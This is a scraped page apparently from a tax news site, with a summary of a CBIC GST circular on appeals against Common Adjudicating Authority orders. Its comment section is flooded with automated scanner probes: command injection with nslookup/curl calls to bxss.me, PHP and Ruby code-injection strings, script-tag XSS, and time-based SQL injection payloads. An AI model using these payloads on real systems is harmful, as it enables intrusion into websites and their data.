Circular No. 16 of 2024- CBDT

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915 views on Circular No. 16 of 2024- CBDT

R

Rohit says

1 year ago

Insightful

J

Joke World says

1 year ago

Thanks for Sharing

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'.gethostbyname(lc('hitzi'.'bddyblah85f6a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(78).chr(115).chr(90).'

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".gethostbyname(lc("hitpv"."wtetzaxu67754.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(88).chr(118).chr(71)."

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gethostbyname(lc('hitdd'.'tixvcsts0d41c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(69).chr(104).chr(71)

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"+"A".concat(70-3).concat(22*4).concat(101).concat(82).concat(114).concat(72)+(require"socket" Socket.gethostbyname("hitfi"+"hhhxamgo78065.bxss.me.")[3].to_s)+"

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'+'A'.concat(70-3).concat(22*4).concat(110).concat(71).concat(102).concat(83)+(require'socket' Socket.gethostbyname('hitjy'+'sstqfswt34e7e.bxss.me.')[3].to_s)+'

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'A'.concat(70-3).concat(22*4).concat(102).concat(81).concat(109).concat(69)+(require'socket' Socket.gethostbyname('hitna'+'ehnfseyf8ba5a.bxss.me.')[3].to_s)

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5 days ago

e

'

'.print(md5(31337)).' says

5 days ago

e

e

e says

5 days ago

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e

e says

5 days ago

e

e

echo uulhia$()\ dzadrn\nz^xyu||a #' &echo uulhia$()\ dzadrn\nz^xyu||a #|" &echo uulhia$()\ dzadrn\nz^xyu||a # says

5 days ago

e

e

e says

5 days ago

e

&

&echo jbexgk$()\ qgwncp\nz^xyu||a #' &echo jbexgk$()\ qgwncp\nz^xyu||a #|" &echo jbexgk$()\ qgwncp\nz^xyu||a # says

5 days ago

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5 days ago

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5 days ago

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|

|echo ivgqzv$()\ mstfuv\nz^xyu||a #' |echo ivgqzv$()\ mstfuv\nz^xyu||a #|" |echo ivgqzv$()\ mstfuv\nz^xyu||a # says

5 days ago

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5 days ago

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5 days ago

e

e

expr 9000399506 - 972723 says

5 days ago

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5 days ago

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e

e says

5 days ago

e

(

(nslookup -q=cname hitwnkkuscpda740e9.bxss.me||curl hitwnkkuscpda740e9.bxss.me)) says

5 days ago

e

e

e says

5 days ago

e

$

$(nslookup -q=cname hitdwprshewewf354b.bxss.me||curl hitdwprshewewf354b.bxss.me) says

5 days ago

e

&

&nslookup -q=cname hittfpeyvoeyh304c6.bxss.me&'\"`0&nslookup -q=cname hittfpeyvoeyh304c6.bxss.me&`' says

5 days ago

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5 days ago

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&(nslookup -q=cname hitvlyhsmjtuj6b5d9.bxss.me||curl hitvlyhsmjtuj6b5d9.bxss.me)&'\"`0&(nslookup -q=cname hitvlyhsmjtuj6b5d9.bxss.me||curl hitvlyhsmjtuj6b5d9.bxss.me)&`' says

5 days ago

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e'"()&%<zzz><ScRiPt >YyXM(9178)</ScRiPt> says

5 days ago

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e

e says

5 days ago

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

e

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5 days ago

e

|

|(nslookup -q=cname hitthfzuhjgerae0e5.bxss.me||curl hitthfzuhjgerae0e5.bxss.me) says

5 days ago

e

e

e says

5 days ago

';print(md5(31337));$a='

e

e says

5 days ago

e

e

e says

5 days ago

";print(md5(31337));$a="

'

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5 days ago

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5 days ago

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5 days ago

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`

`(nslookup -q=cname hitdqnynsahfa82991.bxss.me||curl hitdqnynsahfa82991.bxss.me)` says

5 days ago

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e

e says

5 days ago

${@print(md5(31337))}

e

e says

5 days ago

e

;

;(nslookup -q=cname hitzytlbxcumn5ffee.bxss.me||curl hitzytlbxcumn5ffee.bxss.me)|(nslookup -q=cname hitzytlbxcumn5ffee.bxss.me||curl hitzytlbxcumn5ffee.bxss.me)&(nslookup -q=cname hitzytlbxcumn5ffee.bxss.me||curl hitzytlbxcumn5ffee.bxss.me) says

5 days ago

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e says

5 days ago

${@print(md5(31337))}\

e

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5 days ago

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e

e9386949 says

5 days ago

e

|

|(nslookup${IFS}-q${IFS}cname${IFS}hitprgzkjbegtd757e.bxss.me||curl${IFS}hitprgzkjbegtd757e.bxss.me) says

5 days ago

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e says

5 days ago

'.print(md5(31337)).'

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5 days ago

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&(nslookup${IFS}-q${IFS}cname${IFS}hitrilqgpwskkf70ba.bxss.me||curl${IFS}hitrilqgpwskkf70ba.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitrilqgpwskkf70ba.bxss.me||curl${IFS}hitrilqgpwskkf70ba.bxss.me)&`' says

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5 days ago

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5 days ago

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5 days ago

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5 days ago

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5 days ago

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5 days ago

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5 days ago

echo hqpijp$()\ qbiydd\nz^xyu||a #' &echo hqpijp$()\ qbiydd\nz^xyu||a #|" &echo hqpijp$()\ qbiydd\nz^xyu||a #

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5 days ago

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5 days ago

&echo ixdodj$()\ wcuons\nz^xyu||a #' &echo ixdodj$()\ wcuons\nz^xyu||a #|" &echo ixdodj$()\ wcuons\nz^xyu||a #

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5 days ago

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5 days ago

|echo obwtkz$()\ cqvdaq\nz^xyu||a #' |echo obwtkz$()\ cqvdaq\nz^xyu||a #|" |echo obwtkz$()\ cqvdaq\nz^xyu||a #

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5 days ago

e

e

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5 days ago

expr 9000154847 - 946178

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5 days ago

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5 days ago

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e

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5 days ago

(nslookup -q=cname hitdukqbgnkbs19210.bxss.me||curl hitdukqbgnkbs19210.bxss.me))

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5 days ago

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5 days ago

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5 days ago

$(nslookup -q=cname hitkjvafcwrptec343.bxss.me||curl hitkjvafcwrptec343.bxss.me)

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5 days ago

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5 days ago

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5 days ago

&nslookup -q=cname hitmsklcvgidj4cbfb.bxss.me&'\"`0&nslookup -q=cname hitmsklcvgidj4cbfb.bxss.me&`'

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5 days ago

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5 days ago

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5 days ago

&(nslookup -q=cname hitmwjfgrpvfdf665d.bxss.me||curl hitmwjfgrpvfdf665d.bxss.me)&'\"`0&(nslookup -q=cname hitmwjfgrpvfdf665d.bxss.me||curl hitmwjfgrpvfdf665d.bxss.me)&`'

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5 days ago

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5 days ago

e'"()&%<zzz><ScRiPt >YyXM(9045)</ScRiPt>

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5 days ago

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5 days ago

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5 days ago

|(nslookup -q=cname hitvgccjdjlbo8b04c.bxss.me||curl hitvgccjdjlbo8b04c.bxss.me)

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5 days ago

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5 days ago

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5 days ago

`(nslookup -q=cname hitxuurakouzqfe7ba.bxss.me||curl hitxuurakouzqfe7ba.bxss.me)`

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5 days ago

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5 days ago

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5 days ago

;(nslookup -q=cname hitumlkgzmyzz07a5f.bxss.me||curl hitumlkgzmyzz07a5f.bxss.me)|(nslookup -q=cname hitumlkgzmyzz07a5f.bxss.me||curl hitumlkgzmyzz07a5f.bxss.me)&(nslookup -q=cname hitumlkgzmyzz07a5f.bxss.me||curl hitumlkgzmyzz07a5f.bxss.me)

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5 days ago

|(nslookup${IFS}-q${IFS}cname${IFS}hitmqoflkvwajd425e.bxss.me||curl${IFS}hitmqoflkvwajd425e.bxss.me)

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5 days ago

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5 days ago

&(nslookup${IFS}-q${IFS}cname${IFS}hitijvcvwhulsaf1a6.bxss.me||curl${IFS}hitijvcvwhulsaf1a6.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitijvcvwhulsaf1a6.bxss.me||curl${IFS}hitijvcvwhulsaf1a6.bxss.me)&`'

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5 days ago

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5 days ago

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5 days ago

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if(now()=sysdate(),sleep(15),0) says

5 days ago

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5 days ago

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5 days ago

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5 days ago

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5 days ago

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5 days ago

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e-1 waitfor delay '0:0:15' --

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e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

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Latest Notification / Circulars

CBIC’s Clarification on Review, Revision, and Appeal Procedures for Orders Passed by Common Adjudicating Authorities (CAA) under DGGI

24th Jun 2025

The CBIC issued Circular No. 250/07/2025-GST dated June 24, 2025 clarifies procedures for review, revision, and appeals of orders passed by Common Adjudicating Authorities (CAA) handling show cause notices from DGGI. The Principal Commissioner or Commissioner of Central Tax, under whom the CAA (Additional/Joint Commissioner) is posted, will act as the reviewing and revisional authority. Appeals against CAA orders will lie with the Commissioner (Appeals) corresponding to the territorial jurisdiction of that Principal Commissioner or Commissioner. The department will be represented in appeals by the respective Principal/Commissioner or a designated subordinate officer. Review/revision authorities may seek DGGI comments before deciding.

 

Attention is drawn to notification No. 02/2017 dated 19th June 2017 (as amended) read with circular No. 239/33/2024-GST dated 04th December 2024, wherein Joint/Additional Commissioners posted in specified Commissionerates have been designated as Common Adjudicating Authority (CAA) in respect of show cause notices issued by Directorate General of GST Intelligence (DGGI). The said circular has specified the procedure to be followed in case of assigning such show cause notices to the Common Adjudicating Authority along with their territorial jurisdiction. However, it does not specify the procedure related to review, revision, and appeals for such Orders-in -Original (O-I-Os) passed by CAA.

 

The matter has been examined in consultation with the Union Ministry of Law and Justice which has clarified that section 107 of the CGST Act, 2017 provides a detailed mechanism for handling the appeals by the Appellate authority and by exercising the same power, the rules have also been framed with regard to appeal and review. Similarly, the Reviewing Authority also has the power under the said section to review adjudication orders passed by a CAA who is posted under the said reviewing authority.

 

Similarly, section 108 of the CGST Act, 2017, provides a detailed mechanism for revision of such orders. Vide notification No. 05/2020-Central tax dated 13th January, 2020, the jurisdictional Principal Commissioner or Commissioner, as the case may be, has been authorized as revisional authority for decisions or orders passed by Additional or Joint Commissioner of Central Tax who are subordinate to him.

 

Therefore, to ensure uniformity in procedure for review, revision, and appeal against the Orders-in-Original (O-I-Os) adjudicated by Common Adjudicating Authorities, it is hereby clarified that:

 

a) Review under Section 107 of the CGST Act, 2017: The Principal Commissioner or Commissioner of Central Tax under whom the Common Adjudicating Authority (Additional/ Joint Commissioner) is posted shall be the reviewing authority in respect of such O-I-Os.

 

b) Revisional Power under Section 108 of the CGST Act, 2017: The Principal Commissioner or Commissioner of Central Tax under whom the Common Adjudicating Authority (Additional/ Joint Commissioner) is posted shall be the revisional authority in respect of such O-I-Os.

 

c) Appeal Procedure under Section 107 of the CGST Act, 2017: Appeals against the order of Common Adjudicating Authority (Additional/Joint Commissioner) shall lie before the Commissioner (Appeals) corresponding to the territorial jurisdiction of the Principal Commissioner or the Commissioner of Central Tax, under whom the said Common Adjudicating Authority (Additional/ Joint Commissioner) is posted, as specified in Table III of notification No. 02/2017- Central tax dated 19th June, 2017.

 

d) Department’s Representation in Appeals: The Principal Commissioner or Commissioner of Central Tax of such Commissionerate under whom the Common Adjudicating Authority (Additional/Joint Commissioner) is posted shall represent the department in appeal proceedings against the O-I-Os passed by such Common Adjudicating Authority (Additional/ Joint Commissioner) and accordingly may appoint any officer subordinate to him to be the designated officer for filing departmental appeals.

 

e) The reviewing or revisional authority for such orders may seek comments on the O-I-O from the concerned DGGI formation before proceeding to decide on the order passed by the CAA.

 

It is requested that suitable trade notices may be issued to publicize the contents of this circular.

 

Difficulty, if any, in the implementation of the above instructions may please be brought to the notice of the Board.

 

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